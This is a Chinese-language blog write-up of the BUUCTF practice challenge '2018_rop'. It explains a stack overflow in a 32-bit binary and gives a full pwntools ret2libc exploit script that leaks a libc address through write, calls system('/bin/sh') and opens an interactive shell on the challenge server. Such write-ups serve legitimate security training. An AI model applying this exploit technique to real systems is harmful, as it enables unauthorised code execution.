老规矩,先查看ELF文件:
可以看到,文件为32位可执行动态链接文件,并且保护只开了NX
结合题目也可以知道这题就是简单的rop
用ida查看反汇编和伪代码:
主函数:
be_nice_to_people:
vulnerable_function:
可以看出该程序其实非常简单,其漏洞一眼便知:
read(0,buf,0x100u);,该函数允许往buf中写入0x100字节的数据,而buf实际在栈空间中的偏移则为0x88,所以仍有0x78字节可以溢出。
知道栈溢出之后,便可以泄露libc地址了
可以通过*** getegid***,read,write三个函数的got表地址进行泄露libc,这里我选择的是getegid。
pythonfrom pwn import*
from LibcSearcher import*
context(log_level='debug',arch='i386',os='linux')
io = remote('node4.buuoj.cn',29539)
elf = ELF('./2018_rop')
gid_got = elf.got['getegid']
write_plt = elf.plt['write']
main=elf.symbols['main']
payload = b'a'*(0x88+0x4)+p32(write_plt)+p32(main)+p32(0x0)+p32(gid_got)+p32(0x4) #p32(0x0)和p32(0x4)分别为write函数的第一和第三个参数,表示标准输入流和输入字节数(一定要p32加包)。
io.sendline(payload)
gid_addr = u32(io.recv(4)) #接收gid_got地址
print(hex(gid_addr))
libc=LibcSearcher('getegid',gid_addr)
libc_base = gid_addr - libc.dump('getegid')
system= libc_base + libc.dump('system')
binsh = libc_base + libc.dump('str_bin_sh')
print(hex(system))
print(hex(binsh))
payload1 = b'a'*(0x88+0x4)+ p32(system)+p32(main)+p32(binsh)
io.sendline(payload1)
#io.sendline(b'cat flag')
io.interactive()
选择正确的libc版本:
作者新手一枚,文章如有错误还请多多包涵。如果各位Dalao能够指出错误,那就再好不过了,红豆泥私密马赛!
本文作者:Hyrink
本文链接:
版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!